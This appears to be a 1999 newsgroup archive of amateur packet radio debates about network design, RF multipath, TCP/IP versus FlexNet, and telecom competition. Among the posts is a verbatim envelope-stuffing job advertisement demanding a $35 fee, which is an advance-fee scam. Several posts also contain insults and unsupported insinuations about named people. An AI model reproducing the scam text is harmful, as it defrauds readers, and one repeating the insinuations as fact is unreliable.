But all that being said, the overall penetration percentage for the cablemodems and xDSL pales in comparison to the 160 million access lines in the USA. And . . . on all those access lines the V.90 all you can eat 24 by 7 service for $40 per month is still "the only deal in town", and a good one compared to most of the world.

And yes . . . when I spoke of world prices for telecom, I really meant American pricing. American telecom deregulation has been leading the world for the past couple of decades. This has driven down prices everywhere else and also initiated deregulation by legacy PTTs and governments elsewhere as in an effort to keep the American companies and Internet from taking over all the world markets.

Isn't competition great?

Thanks again Rob, I really enjoy the interaction with you.

Best Regards,

Peter AB4BC

I hope not!
We have over 15 years experience with AX.25 now, and anyone
who writes code can make the needed changes. The information
is available in the proposed new specs (there are at least two
proposals for extensions to AX.25, they contain a lot of good
analysis of those protocol implementation problems).

It is a mess in JNOS. That is one of the reasons for SNOS, I wanted
to get the basic networking working well before doing the applications
work - the fun part. Discovered I needed to rewrite a

lot of (or all of) tcp, ax.25 and net/rom. Nearly done with that now,
and the tcp/ip works well over net/rom links. The SYN flood problem
is fixed for example, as well as the net/rom CHOKE bug, and dozens
of other problems.

Ok, I understand. Thought you were saying something different.

Of course you are correct, these techniques can be used on any
band(s) with any protocol network. The only issue is the ability of
the controller to report the appropriate observations.

The software to do this should be "interesting" to write.

>because it is easier to coordinate a single frequency.

I'm calling it alligator thinking because you keep insisting that
you need a much higher power level than is reasonable for the
link distances you're talking about. That's going to cause all sorts
of multipath problems due to all of the reflections the receiving
end is going to have that are above its noise floor. (It may also
cause problems for others using the same, or adjacent, frequencies
for other links.)

The correct answer is not to just try to "bull through". The correct
answer is to properly engineer the path so that it will work at a
power level where multipath will fall below the receive site noise
floor.

>I guess my bottom line is that I'm not at all interested in why
>this cannot be done. I'm only interested in how to go about
>doing it. Where there are no links, a not-quite-perfect link
>is a huge improvement.

I've told you how to do it. Do the RF path engineering properly.
There are well established procedures and formulas for doing
this. AT&T Long Lines, and others who've needed RF links of a
specified quality, have been using these procedures for over
half a century. They are well proven.

>Have begun gathering the needed test gear, which I need in any
>case to be able to get some existing 9600 baud links working
>properly. But I still need someone for the "other end" of the
>high speed link

That's always the case. Networks are by nature cooperative
efforts.

Careful, Rob... That kind of talk will get you nowhere in a hurry with the TAPR goons and LandLine Lids here in the US.

If you start talking about using radio instead of the Internet, they'll accuse you of trying to undermine amateur radio. - Because, of course, radio is just not good enough for ham radio, and the only way to save the hobby is to abandon the use of radio, clear that valuable spectrum for other uses, and move all of our operations over to the Internet.

Example:

Phil Karn KA9Q (Author of NOS) in response to my statement on the tcp-group SIG concerning:

Subject: Re: 2300 MHz band reallocated

N5PVL:
Many *NOS stations are now set up for the single purpose of misusing Internet as a cheap, dumb way to avoid the use of radios. Internet message forwarders are the best known example of this.

We can't really afford that type of stupidity any more, IMHO.

KA9Q:
Why is this stupid? Many people outside ham radio would consider it more stupid to build a radio network that uses precious spectrum instead of using existing fiber facilities with much greater capacity and lower cost.

I feel that radio spectrum is too valuable to waste on point-to-point links that are better implemented with non-radio facilities.

I asked earlier, but never got an answer... Where does Phil Karn work? Does his employer stand to benefit when Hams lose spectrum? - Just trying to understand what might motivate this "Ham" to make such ignorant and irresponsible statements in connection with Amateur RADIO.

Charles:

You are missing the whole point.

Don't be so paranoid! There is not some big conspiracy of tcp/ip linux zealots out there. They honestly want to help ham packet radio.

I have seen and read your many missives on this NG about the difficulty of making long haul radio trunking systems for amateur packet radio. Everyone recognizes that fact.

So the main point and the question is how best to make use of radio on the access network not on the long haul network. That is/was Phil's (KA9Q) point in the email that you quoted. Let the big pipe long haul be done by fiber. Hams should still keep some small bandwidth HF applications, call it Internet backup if you like, for such as H&W messages on the xTOR's.

But Charles please, please. . . let's not have others steal all of our oceans of UHF and uWave bandwidth, just because we are too slow to use it! Use it or loose it! We really need to fill up our frequencies with wide and broadband applications and attract a whole new generation of kids in junior and high school to our grand hobby. Otherwise all of us "old farts" will wither and die and take ham packet radio with us!

The only place we can reasonably use all of that bandwidth is on the access. You have admitted yourself many times, recently on the "wide open spaces" thread, that hams will never be able to build a big pipe long haul radio network.

Charlie get with it!

Hello ! ! ! The Internet is here! The kids are on fire with interest, when I bring the local neighborhood kids into my shack to hear me talk on short wave, they go to sleep! Face it the generation that you grew up in was interested in radio, radio was hot, hot, just like the Internet today, Today the kids, they are not building crystal sets and listening to CB any more, they are on the net.

Let's try to develop ham packet radio systems that will be interesting to them and attract those young folks.

Comments, thoughts,

Peter AB4BC

Hi all,

I have tried to use Win95SSTV and JVComm32 to work SSTV with SB Live.

Both of them crashes with blue screen "Exception 07" while attempting to receive via "line in". I have reinstalled system completely and problem still remains. Other applications works properly (f.e. Hellschreiber).

Anyone has tried sstv with SB Live?

HDSL is cheap here when bought as ISDN-30 and used for telephony access.
When getting two of these same things connected back-to-back as a 2Mbit/s
leased line, the price suddenly increases tenfold. This is a bit strange,
but so are all rates for leased lines over here.

There is an "ADSL pilot project" in Amsterdam, where a test group
gets this service for free.
The country-wide rollout is delayed by stupid "competition" issues.
These days KPN cannot rollout new technology unless it enables competitors
to do the same, and the network is not ready for that. We have to wait
another year. It is completely unknown what the rates will be.

>Over here in America the "going rate" for cablemodem service is $50 per

>for the past couple of decades. This has driven down prices everywhere else
>and also initiated deregulation by legacy PTTs and governments elsewhere as
>in an effort to keep the American companies and Internet from taking over
>all the world markets.

>Isn't competition great?

I don't think it is. Competition in a small network as we have here only
means extra interconnection costs and overhead because of multiple small
companies operating the same services (administration, customer support,
etc). Up to now, competition has only increased the prices here because
these extra costs somehow need to be recovered.

The introduction of competition has meant that profitable services are
attacked by the competitors first, leaving KPN with the nonprofitable
services and being forced to increase their pricing. This has caused
an increase in the monthly bill for the average customer.

For a small country like the Netherlands, a single network operated by
a state-monitored company (i.e. operated to commercial standards but not
faced with "competitors" that are only after profitable services, and not

making too much profit itself) is the better option.

Competition is also introducing extra complexity in the usage of the system
and the decisions a customer needs to make. When I want to call someone,
I just want to dial his number, not be faced with stupid questions like
"what carrier do you want to use".

4133. Homeworkers needed!

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-09-24 00:00:00 UTC
From: tyss@att.NET
Message-ID: <414.305099.71324@ns.bigbear.com>
Source record: 16436

Dear Future Associate,

You Can Work At Home & Set Your Own Hours. Start earning Big Money in a short time

NO Newspaper Advertising!

Your job will be to stuff and mail envelopes for our company. You will receive $.25 for each and every envelope you stuff and mail out.

Just follow our simple instructions and you will be making money
as easy as
1 2 3

For example stuff and mail 200 envelopes and you will receive $50.00. Stuff and mail 1000 and you will receive $250.00. Stuff and mail 2000 and you will receive $500.00 and more

Never before has there been an easier way to make money from home!

Our Company's Home Mailing Program is designed for people with little or no experience and provides simple, step by step instructions.

There is no prior experience or special skills necessary on your part, Just stuffing envelopes.

We need the help of honest and reliable home workers like you. Because we are overloaded with work and have more than our staff can handle. We have now expanded our mailing program and are expecting to reach millions more with our offers throughout the US and Canada.

Our system of stuffing and mailing envelopes is very simple and easy to do!
You will not be required to buy envelopes or postage stamps.

We will gladly furnish all circulars at no cost to you. We assure you that as a participant in our program you will never have to mail anything objective or offensive.

There are no quotas to meet, and there no contracts to sign. You can work as much, or as little as you want. Payment for each envelope you send out is Guaranteed!

Here is what you will receive when you get your first Package. Inside you will find 100 envelopes, 100 labels and 100 sales letters ready to stuff and mail

As soon as you are done with stuffing and mailing these first letters, your payment will arrive shortly, thereafter. All you have to do is to order more free supplies and stuff and mail more envelopes to make more money.

Our sales literature which you will be stuffing and mailing will contain
information outlining our highly informative manuals that we are advertising nationwide. As a free gift you will receive a special manual valued at $24.95, absolutely free, just for joining our Home Mailers Program.

Plus you will get your own special code number, so that we will know how much you are to get paid. And to make re-ordering of more envelopes, that our company supplies very simple for you.

We are giving you this free bonus because we want you to be confident in our company and to ensure that we will be doing business with you for a long time.

Benefits Of This Job:

1. You do not have to quit your present job, to earn more money at home
2. You can make between $2,500 to $4,500 a month depending on the amount of time you are willing to spend stuffing and mailing envelopes
3. This is a great opportunity for the students, mothers, disabled persons or those who are home bodies.

To secure your position and to show us that you are serious about earning extra income at home we require a one-time registration fee of $35.00.
This fee covers the cost of your initial start up package, which includes 100 envelopes, 100 labels and 100 sales letters and a manual, your registration fee will be refunded back to you shortly thereafter.

Money Back Guarantee!

We guarantee that as soon as you stuff and mail your first 300 envelopes You will be paid $75.00 and your registration fee will be refunded.

Many of you wonder why it is necessary to pay a deposit to get a job. It is because we are looking for people that seriously want to work from home.

* If 3.000 people told us they wanted to start working from home and we sent out 3.000 packages free to every one. And then half of the people decided not to work, this would be a potential loss

of more than $60,000 in supply's and shipping that we have sent
out to people that don't want to work

We have instituted this policy to make sure that you really want
to work and at least finish your first package.

To Get Started Today Please Enclose Your Registration Fee of $35
Check,Cash Or Money Order and fill out the application below and
mail to:
TYSS Company

15500 Erwin Street,PMB, Suite 104
Van Nuys, Ca 91411

Name_____

Address_____

City_____ State_____

Zip Code_____

Telephone Number(s)_____

E-mail Address_____

For all orders, please allow fourteen (14) days to 21 days, and/or untill the check clears, for
delivery. Cash and Money Orders will result in faster shipping of your package.

That's easy ... Charles just wants something to rant about to
draw attention to himself (it's apprently the only way he has
to get attention, since he appears incapable of contributing
anything constructive or innovative).

>73 Phil KA1YIQ
>Sysop WB1CQO Nodes & BBS

-

I have to totally agree with Phil, KA1YIQ about FlexNet. I have been running
FlexNet here for a little over a year now with no problems what so ever. I
first installed it in a computer tied by a wire line to my BBS as a test. As
one of the first stations in the area to start converting to FlexNet one
link
of the WA2FNQ node was switched over. The other links and user port soon

followed never to return to NetRom again. In my opinion, the dynamic routing features of FlexNet have made quite an improvement in the NY Metro area network. There is a noticeable speed increase and traffic will always find a path to flow over. I have seen my node go through several power hits in the past year and there has never been a problem. FlexNet has always come back up and running. In fact I have had zero problems with the node since I converted to FlexNet. FlexNet is a good way to go.

73 for now. Jerry
WA2FNQ@WA2FNQ.#NLI.NY.USA.NOAM

==========

The last I heard, they have over 40 nodes upgraded now, and have made good progress on eliminating the "Internet FWD" problem as well. Bulletins in the area now travel 8-10 BBS with no LLL FWD, and Intercontinental FWD to/from the area is via HF.

Bulletins with certain key LLL FWD stations in the R:lines are destroyed and not passed on into the network. If it gets there, it gets there by Ham Radio, as much as possible under current conditions.

I though you folks might want to know what the US hams who are doing something instead of talking about it have been up to.

I thought it was a rhetorical question. Phil works for a little cellphone
company called Qualcomm and yes, they'd undoubtedly benefit from
our loss of spectrum.... if not directly, then from sales of new equipment
designed for those frequencies.

Like you, I'm curious about some of these "LLLids" and their connection
with the telecom community. I never really considered the connection, though,
until you brought it up.

Where does Greg Jones work? I just read about his "vision" for digital
ham radio, as published on TAPR's website and I've gotta say that you
don't need to say anything more about him being a Lid.... just direct
people to http://www.tapr.org/tapr/pdf/dcc98.vision.pdf and let them
hear it straight from the horse's ass.

You bet! Why stop at 9600 bps, or even 56k? That seems to have been
their philosophy. They've got about a dozen nodes on their 1.2 Mbps
backbone, plus alot of 76k8 and 38k4 links. They even have 76k8 user
access on some of their nodes. Their 1.2 Mbps nodes use PSK, which
they claim is far superior to FSK/MSK. The slower stuff uses WBFM. That
may seem archaic to some people in this ng, but that archaic stuff is still
faster than what we have here in the States, without resorting to non-amateur
means. These guys didn't wait for TAPR or some manufacturer to come out
with a faster TNC, or spread rectum vaporware..... they rolled up their sleeves
and *built* a network, in the most literal sense.

And I bet they enjoyed doing it!

They were kind enough to publish all of the schematics and specs on their
website at http://lois.kud-fp.si/hamradio/hid.html In particular, they have
a Manchester modem that will run at speeds from 2k4 to 76k8, and uses
less than $100 worth of parts.

>I really kind of expected to see a kit for something like that, by now.

Yes, that IS suprising, isn't it? Might be a business opportunity here for
the right person (I've been considering that myself).

What you "know" and what is reality seem to be quite distantly separated.
What you should know, if you've been paying attention over the last few
years, is that I've been doing a lot of experimental work with very low rate
very low power links on noisy unstable HF paths. I've been having quite
a bit of fun doing it too. But I haven't set myself up for frustration and
heartache by trying to do what good engineering practice says isn't
feasible, ie I haven't insisted on using poor paths as a basis for a viable
user network.

It is one thing to experiment with unreliable systems, it is quite another
thing to deploy a satisfactorily functional network which will attract and
hold a sufficiently large user base to sustain it. There are well understood
engineering principles which must be applied to deploy a capable and
reliable network which will earn continuing user support.

Doing things correctly often requires a bit of careful thought, but it is
ultimately more satisfying because it works as designed, and meets
the demands placed on it by its users. The latter is key. If you must
always be telling your users "don't do that, it'll overload the network",
or you are delivering very slow or poor service to your users, they won't
stay with you.

>> That's what happened to the BBS "network" (which wasn't really ever a

>> but it is fact, and ultimately one has to face facts or become permanently
>> disassociated from reality.

>
>Nonesense. History and facts disagree with your assertion.

Then why are you here instead of having this debate via messages passed on your BBS network? 15 years ago, that's where it would have been. But not today. Could it be because the user base isn't there any more to form an audience? Could it be because not enough hams are bothering to maintain BBSs or the primitive haphazardly engineered backbone links between them?

When I look around, that's what I see. The user base has moved on to faster and more capable systems. Those systems largely aren't based on amateur radio anymore because those building and operating most amateur networks haven't remained competitive in the quality of service their networks provide. Instead, they've squabbled among themselves about ethnic purity issues, or simply haven't adopted the proven engineering techniques which would have allowed the network to function at a satisfactory level.

It doesn't have to be that way. The GRAPES network is an example of the sort of maintainable network which can be built, and which can meet its user base's rising expectations. We had 56 kb when the wirelines were still at 2.4 kb. Today the wirelines have reached parity, and frankly, even GRAPES is going to have to upgrade its network if it wishes to remain competitive in the near future. ADSL and other broadband technologies are going to make it seem as quaint as a 1.2 kb system before long.

So we will have to move to megabit rates, or quietly fold our networking tents. Fortunately, we will be able to do that, since we considered that possibility when we laid out the network topology. Our network paths will support those rates, and even faster ones, because they were properly engineered from the beginning.

We can't offer the global reach of the wired internet, but then we knew that from the beginning too. We didn't promise that to our users. What we can and do offer is very competitive performance inside our service area. That's been sufficient to maintain a loyal user base. A user of a voice repeater in Atlanta doesn't expect to talk with hams in Oregon, and a user of our digital network doesn't expect to be able to do that either. But that doesn't stop our repeaters, or our network, from being popular and well used. We fill a niche that our users find to be a fun and useful application of amateur radio.

Those of us who worked toward its development also found designing and building it to be fun, and a considerable technical and organizational challenge. That's good, because we don't get paid any other way for doing it than in the satisfaction of learning how to do an exacting job well, and seeing our creation prosper and maintain the loyalty of its users. We haven't attempted to coerce that loyalty (a fool's errand), instead we earned it by delivering a network that our users have found to be of continuing utility.

The builders of a voice repeater with poor coverage, poor audio quality, and poor reliability shouldn't expect to maintain a large group of satisfied users. That's obvious. It should be equally obvious that the same applies

to amateur digital networks. If you can't provide the level of service expected of a digital network (ie fast and transparent transport of the data required by your users' choices of applications), you shouldn't be surprised when your users abandon you.

Rob:

I take it that you don't like to shop!

Heh, heh. Monopolists really love folks who hate to shop.
Anti-shoppers always get the products and services they deserve.

Of course that is one of the defining differences between America and most
of Europe.

The "shot heard round the world", was heard because of folks who did not
like, "taxation without representation".

If you want to believe that governments, Kings, beaurocracies, civil
servants, and monopolists will take care of your interests in the long term,
then God Bless You.

Me, I'll put my faith in good old competition every time!

Best Regards,

Peter AB 4BC

I think you got the wrong impression from that post about the conversion of the NEDA (North East Digital Association) network from NetRom to FlexNet.

It's the NEDA guys who did all that work. I may have contributed in a minor way with the "Americanized" FlexNet articles on my web site, but NEDA has several in-house FlexNet gurus who are much more knowledgeable than I am. I'm sure they could have gotten along just as well without my support.

I am a member of NEDA, mainly because I like to read the articles in the NEDA quarterly. I used to edit the (TPRS) Texas Packet Radio Society's quarterly report a few years ago, so I'm interested in that sort of thing. The chances of me flying from Texas to New York to attend a NEDA meeting are pretty slim, but I do what I can to support their efforts from afar.

I'd be most happy to support any other groups who want to upgrade and resume the growth of their local packet net, and would REALLY be happy to see a group of Texas hams ready to adopt that same "can do" attitude.

Unfortunately we have TPRS in Texas, and it's chock full 'o LandLine Lids just like TAPR, so the chances of a packet renaissance in Texas are mighty slim. They're too busy saying "can't" and making excuses to consider actually doing anything worthwhile or constructive. What a bunch of losers! I like to think that most of them came from somewhere else and aren't actually Texans.

Greg Jones was president of TPRS before he moved on to TAPR, and the Gloom 'n Doom he spread around at that time is still hanging around Texas in a noxious cloud like a beer fart on a warm, humid day.

Phew! (Waving hand around, to no effect.)

I don't know what the NEDA folks plan... If it were up to me, the next step would be another large-scale network besides NEDA to upgrade and resume growth in the same way, then establish the "all-band net" deal I mentioned earlier, organizing and streamlining the use of HF to communicate between large-scale networks, that can in turn distribute to/from smaller nets.

I'd also resume testing on the HF multicast stuff. That has more potential than anything else I've seen in the ham digital world. It would literally

revolutionize digital ham radio, perhaps as much as the introduction of the TNC, and would be a great advance in the efficient use of HF for non-hams as well. We have a chance here to make a major contribution to the advancement of the radio art, if we get off our cans. Wish I was a better programmer.

There are standard ways to measure the BER of data paths. One
way that we use is to feed continuous '0' to our modems and count
the '1's that we get at the other end with a totalizing counter. Divide
that number by 2, and we have the bit errors for the path. (We can do
that because our modems, like the G3RUH modem, use a randomizer
which keeps the channel active when we feed in unchanging data.)

>1e6 bits, that's 125,000 bytes or about 490 256 byte packets. Now,

>That is simply do measurements of bit errors, and if they're low enough
>it's okay, however the thing works.

The program ax25mon can passively monitor the packets on a channel
and give totals for channel usage and retries. We use something like that
as one of our network management tools to show us any problems network
links may be developing. We also do ping testing to gather statistics on
the network's performance. This has to be a continuing task because the
environment in which the network functions is not a static one (the construction
crane is our state bird), and equipment does require maintenance from time
to time.

>Also, I'm also trying to figure out what exactly is the mechanism that

>So, maybe some signals are sneaking in on a path that's say 34
>miles long or 1/2 bit late.

That's one problem generated by multipath, ie intersymbol distortion. The other is ordinary multipath induced RF fading. For that, the path length differences only have to be a substantial fraction of a wavelength at the operating frequency. For example, if there are trees on that ridge line separating the two ends of the path, the wind generated motion of the trees can induce multipath "picket fencing" similar to that commonly experienced when a transmitter or receiver is mobile. It will come and go with changing weather (worse when the trees are wet and the wind is whipping). Or if that ridge has a highway, traffic along the highway can produce a similar effect. These fades can punch holes in your data. So you want to design your paths so that such obstacles aren't within the first Fresnel zone.

If excessive power is used, reflectors well off the line of sight can cause multipath reflections which will cause problems. For example, a water tower 20 miles off to the left or right of the path may generate a reflection that will be strong enough in the receiver to cause problems if high power is used. Similarly, terrain features well beyond the receiver can cause problems when excessive power is run.

You want to keep the power down as much as possible to minimize these sorts of problems. You also want to use directional antennas and circular polarization to minimize problems with reflection generated multipath. (CP signals reverse handedness, like in a mirror, when reflected, and that can gain you up to about 20 dB of isolation from multipath reflections if both ends of the path use CP.)

This is dramatically brought home to me every day when I bring in ENG live shots. Almost invariably, when I have the truck operator reduce power, ghosting is sharply reduced. We try to run just enough power to overcome the gaussian noise, and let most of the multipath signals fall below the noise floor (FM threshold). This produces the best pictures, and also produces the least interference to other trucks which may also be bringing in shots. I often have to use spatial reuse to bring in all the shots with the limited number of channels we have available to us, so it is especially important to minimize mutual interference. (It is good amateur practice too. The FCC admonishes us to use the minimum necessary power.)

>Is there any horse sense, generally about FSK,
>that say, how many db below the main signal, would a path that's
>say, 1/4 of a bit late, need to be before the channel is reliable? Is a
>path a few db down that's 1/2 of a bit late really bad? Here across
>the SF Bay, I assume that even the line of site paths, still have that
>line of site path, and another reflection off of the bay -- and I've heard
>off the Bay Bridge, of all things. .

The required CNR for a given data rate and occupied bandwidth is easily calculated using the Shannon relation. Treating the reflections as just more noise, it is easily possible to show what level of intersymbol distortion

multipath which can be tolerated for a given link. Ordinary multipath is a bit harder to characterize. In general, wide shift FSK is more tolerant of ordinary multipath than narrow shift. It is a form of frequency diversity. SS is an extreme form of that.

>And finally, say, we warp ahead in time to the future where everything
>is Spread Spectrum, and FSK is long forgotten. Is Spread Spectrum,
>because of it's immunity to multi-path, going to actually make these
>billiard ball paths -- that is up and over mountains and bouncing off
>buildings and things useable? Or is something else going to bite us,
>even with Spread Spectrum.

I think something else is going to bite us. The main difficulty with SS is dealing with high RF sites. The receiver front ends necessarily have to be wide open to receive the very broad signals. That leaves them vulnerable to other high power emitters on the site. The desense and IMD that we normally fight with narrow pass cavities will kill us when we have to open the system up to a wide bandwidth.

We still need those high sites to give us coverage, because amateurs are thin on the ground, and the economics require high relay sites to provide adquate coverage. At least in metropolitan areas, virtually every suitable high site is already covered with high power emitters, so they are something with which we will always have to contend.

There's also the issue of spreading sequence negotiation for multiple access sites. That's not a simple problem to resolve for a dynamic user environment with bursty data traffic. It is easier for CDMA cellular where connections stay nailed up for the duration of a call. If we have to negotiate for each packet, system performance will be dismal. OTOH, if we use nailed up connections, we have a different sort of capacity problem. It isn't an easy problem to resolve.

>(Btw, it occured to me that if Alligator thinking is bad, bad, bad,
>then the HDTV people might have a little problem here in the
>SF Bay area, with all it's hills.)

If you'll check, you'll find that HDTV licensees are running 1/10th or less the power that NTSC stations are using. This offers considerable help against alligator induced multipath problems because signals are nearer the detection threshold. Field experience has shown that HDTV (actually we're just calling it DTV now), is generally more robust against multipath than NTSC. And since we aren't transmitting computer data which must arrive error free, some bit errors are tolerable. They just show up as a slightly noisier picture thanks to the interleaving we do. We don't get the objectionable ghosting that plagues NTSC transmissions.

Atlanta also has hilly terrain. When we started DTV broadcasting a year ago, we did extensive field testing. In general, our coverage is larger for DTV than it is for NTSC despite the fact that we're running only 1/10th the power. Picture quality is better in virtually every case.

OTOH when the signal goes, it goes. It is pretty much an all or nothing situation. Either you get a virtually perfect picture, or you get no picture at all. That's because we operate close to the detection threshold. In the main, that's a desirable characteristic. Viewers don't have a favorable impression of stations which deliver crappy pictures, but most of the time the reason the pictures are crappy is that the viewer hasn't done the proper engineering on his end of the path to get a good picture.

With DTV, he either does that, or he doesn't watch. So we get virtually zero picture quality complaints from DTV viewers. Sales of DTV sets are brisk, the local high end stores say that they're selling them as fast as they can get them. If there were serious problems, we'd be hearing about it because those high end viewers are the most discriminating, and complain the loudest when things aren't right.

You continue to spout this lie, Charles, but you can't back it up. Our network is 100% amateur radio, always has been. One of our users offers a wired internet gateway, but it is for wired internet access only, ie like a phone patch on a voice repeater. It is not used to route between segments of the network. (It couldn't, that would require at least two wired internet connections, and we only have one.) You're not only an idiot, you're a stupid lying idiot, a fool, and a buffoon who can't tell the difference between a service offered over the network and the network itself.

What would be nice, would be to pre-print the labels. Too bad the
poor bastards have to look up names in the phone book, and then make
the labels themselves...

What a scam.

I'm glad to see somebody has a clue about ISP cost structures. If you look at the cost per port of an ISP in the United States in a major metropolitan areas such as Boston or New York, the aggregate cost of infrastructure runs around 75 to $100 per port per month. This is the cost of a phone line, modem, router, and fractional bandwidth to the Internet. (For those in the know, yes, I'm glossing over the complexities in a pop especially one with regionally aggregated lines and high-capacity NAS's).

If you look at from another dimension, on average dial-up customers are online for 32 hours (and climbing) per month. The line cost for that customer ranges anywhere from four dollars to $28 the pending on if you're in a major urban area or back woods South Carolina. the balance of your $20 goes to paying peoples salaries, your share of the backbone, customer support, servers (email, Web, DNS, etc.) and all that corporate overhead we all know and love.

most ISPs are running in the red. The real cost for providing dial-up Internet service is actually closer to $25 per month.

when people nail up a connection because they are paying for "unlimited" service, they are really denying service to other users of that resource. It's not unlike sitting on a frequency with a brick on the mic switch.

Some day I'll give you my rant on how it's not high-speed people need but persistence of connection with periodic bursts of traffic.

welcome to the wonderful world of natural monopolies. A natural
monopoly is any service in which it doesn't make sense to have
competition. Examples of natural monopolies are: water, sewer, power
lines, telephone lines, and roads. Note that I did not include power
generation, water production, and telecommunication services.

As you pointed out Rob, there are tremendous inefficiencies when there
is competition at the natural monopoly level. It makes no sense to
replicate last mile infrastructure (wire, switches etc.).

However, even in a small town it makes sense to have competition if
you allow for competition at the right level. For example, it makes
good economic and social sense for a municipality to manage the
quality of water, roads, power lines, and telecommunications lines
(copper and fiber). Competition is then had at the entry points to
these "natural monopoly" services. In the case of electrical power,
paying for electricity from different generation sources. In the case
of telecommunications, buying local loop, long distance, and data
services from different vendors.

one white paper I'm working on is exploring the economic and social
impacts of a municipality providing fiber to the house and allowing
multiple content providers access at the head end of the fiber
network. One of the interesting twists is that it makes it possible
for easy development of metropolitan area exchanges and caches which
would reduce load on major backbones. It also is a key to breaking
the monopoly lock cable companies have on various cities.

Funny coincidence there... In my dealings with my ISP, old Packet radio habits tended to come into play, such as planning what I wanted to do before I ever connect, scheduling most of my use during off-peak hours, and in general attempting to reduce the amount of time I spend actually connected, as in downloading the mail and disconnecting before reading it, then composing offline and only hooking up long enough to send what I have queued and pick up any new incoming stuff. I always figured that my behaviour was just a hang-over from my use of packet and never mentioned it, thinking it was probably not appropriate and would make me look like a "hayseed".

Other folks talk about being hooked up for hours. One local ham bitterly complained because the ISP would disconnect him after being connected five hours straight.

Now I can affect a snotty, superior attitude about my Internet habits instead of thinking that I am probably not acting appropriately. I guess old, brain-dead, burned into the groove habits can come in handy every once in a while!

fool, and a
> buffoon who can't tell the difference between a service offered over the
network
> and the network itself.

Does your network cover the entire planet, Gary, or does it do as I suspect
and only cover a very small part of it?

Are your network's users so isolated and insulated from the rest of the
packet world that they NEVER communicate with that outside world?

Are you claiming that all of those communications with "the rest of the
world" are strictly via Amateur Radio, and that no Internet links are used
to, let's say, communicate with and within other tcpip LANS, download packet
bulletins via telnet, or perhaps telnet to join in on distant ham radio

converse servers? Hmmm?

Come on, now, Gary.... 'Fess up!

Caught you, old boy. I knew I had you by the short 'n curlies when you started sounding desperate and substituted name calling for rational debate.

You may be the only tcpip guy in the states with the stones to ignore Greg Jones' pronouncement of the death of large-scale packet networking, but you are still a tcpip guy nonetheless, and I think we all know by now how tcpip LANS communicate with each other, and it sure ain't ham radio.

You can call me names until you are blue in the face, but that won't change the facts.

Apparently your region is not well developed in that area... there
are many hams using Linux on packet radio over here. Usually they used
xNOS when they had a DOS system and found that Linux does these protocols
natively.

Our small country with less than 20.000 radio amateurs has 2450 ampr.org
IP addresses assigned.

Most people here like to shop for fun. Shopping for infrastructural
items they don't understand is not considered to be fun.

We like to use the telephone for the purpose we got it, not to answer
sales calls from the company that provided it and from all its competitors.
Especially not when these calls are all made at dinnertime.

I know you US people love such disturbances, and really like to spend a
night to figure out which phone company will be the most cost-effective for
the upcoming quarter, and to memorize all the carrier-select codes.

I appreciate that you are happy with such a lifestyle, only I don't
understand it...

Which one is that? The one about Hams using Radio to communicate?

>
> Don't be so paranoid! There is not some big conspiracy of tcp/ip linux
> zealots out there. They honestly want to help ham packet radio.

Actually I am more concerned about people with strong connections to the telco industry going around trying to convince hams that they should depopulate the bands most useful for packet (440MHz on up) and use the Internet instead for the bulk of our "ham radio" communications.

I strongly suspect the motives of these people.

I suppose it slipped by you, but when the LandLine Lids undercut and tried to destroy the US packet network, they also sharply reduced the number of Hams using those bands at the same time that they decimated the US packet population that our manufacturers relied upon in order to stay in business.

AEA went belly-up, as did DRSI and a few others. None of these things happened in Europe, where "LandLine Lids" were not allowed to destroy the network, or it's base of users and manufacturers.

We need the same legal protection here in the US. Let's outlaw the use of non-ham means as the primary transport of Amateur Radio traffic. Secondary, final delivery stuff to non-hams as in autopatches and NTS is just fine.

It worked in Europe, and it will work here, too.

>
> I have seen and read your many missives on this NG about the difficulty of
> making long haul radio trunking systems for amateur packet radio.
Everyone
> recognizes that fact.

But not everyone else is willing to consider any alternative beyond throwing up their hands, giving up, and deciding that if they are not clever enough to figure out a solution, then no other ham could possibly ever do so in the future either so we might as well just give up now and go over to the Internet.

Nope, I'm not a "quitter", and I realize that what cannot be figured out today will sure as heck not be figured out tomorrow either, if we just give

up and quit now.

The main difference between me and a LandLine Lid like Greg Jones is that my ego allows for the possibility that others may figure out things in the future that I cannot see the answer to now. I express this confidence in myself and in my fellow hams by not going for the "easy out", and giving up simply because I am facing a difficult problem.

Also: I am not limiting myself to tcpip. I don't believe in artificially handicapping myself in that manner. I'll use whatever works best, and folks who insist that I be "politically correct" in this matter will have to take a place in line with all the other folks who can kiss my hiney.

>
> So the main point and the question is how best to make use of radio on the
> access network not on the long haul network.

Those of you who choose to give up and quit rather than take the thorny road to excellence and accomplishment are quite welcome to do so, as long as your activities do not interfere with those of us who are NOT quitters.

>That is/was Phil's (KA9Q)
> point in the email that you quoted. Let the big pipe long haul be done by
> fiber. Hams should still keep some small bandwidth HF applications, call
it
> Internet backup if you like, for such as H&W messages on the xTOR's.

That's a pretty pitiful outlook. Sorry, but I don't subscribe to that kind of "thinking".

Phil strikes me as not being on the "Ham Radio" team at all. I don't know what "side" he is on, but obviously it isn't Ham Radio.

"Internet backup", my butt. You should be ashamed of yourself to denigrate Hams and Ham Radio that way.

>
> But Charles please, please. . . let's not have others steal all of our
> oceans of UHF and uWave bandwidth, just because we are too slow to use it!

Yes, exactly. - And total usage of those bands in the US has dropped right through the floor due to the activities of the tcpip community here.

Thanks for making my point.

If you go by results rather than rhetoric, then amateur tcpip is the worst thing that ever happened to Amateur Packet Radio. It just about killed packet in the US.

> Use it or loose it! We really need to fill up our frequencies with wide
and

> and high school to our grand hobby. Otherwise all of us "old farts" will

> wither and die and take ham packet radio with us!
>
> The only place we can reasonably use all of that bandwidth is on the
> access.

If you are trapped in some weird twilight-zone dimension where only tcpip exists, that statement might then reflect "reality".

Fortunately, I'm still here on planet Earth, and my options are not that limited.

>You have admitted yourself many times, recently on the "wide open
> spaces" thread, that hams will never be able to build a big pipe long
haul
> radio network.

Nope. Read again. I said that we don't know how to do it now, and offered a few hints as to how we can overcome some of the limitations that presents.

Back in the days of spark-gap transmitters, it was well known that radio voice communications to the far side of the planet was simply not possible. - And it wasn't - THEN.

The point is that running across an obstacle you do not know how to handle is not an indication that you should throw up your hands and give up. To do so is contrary to the spirit of amateur radio, and pre-supposes that future hams cannot possibly make any progress beyond the bounds of our present knowledge.

"If I can't figure it out, then by God nobody else is going to either!"

Well, that's one self-fulfilling prophesy that I have absolutely no intention of participating in. I'm no quitter, thank you very much, and I have faith not only in my fellow man, but also in my fellow ham.

>
> Charlie get with it!

That's exactly where I am. Remember that "it" is Ham Radio, not tcpip.

The hobby is not "Amateur TCPIP", it's Amateur RADIO.

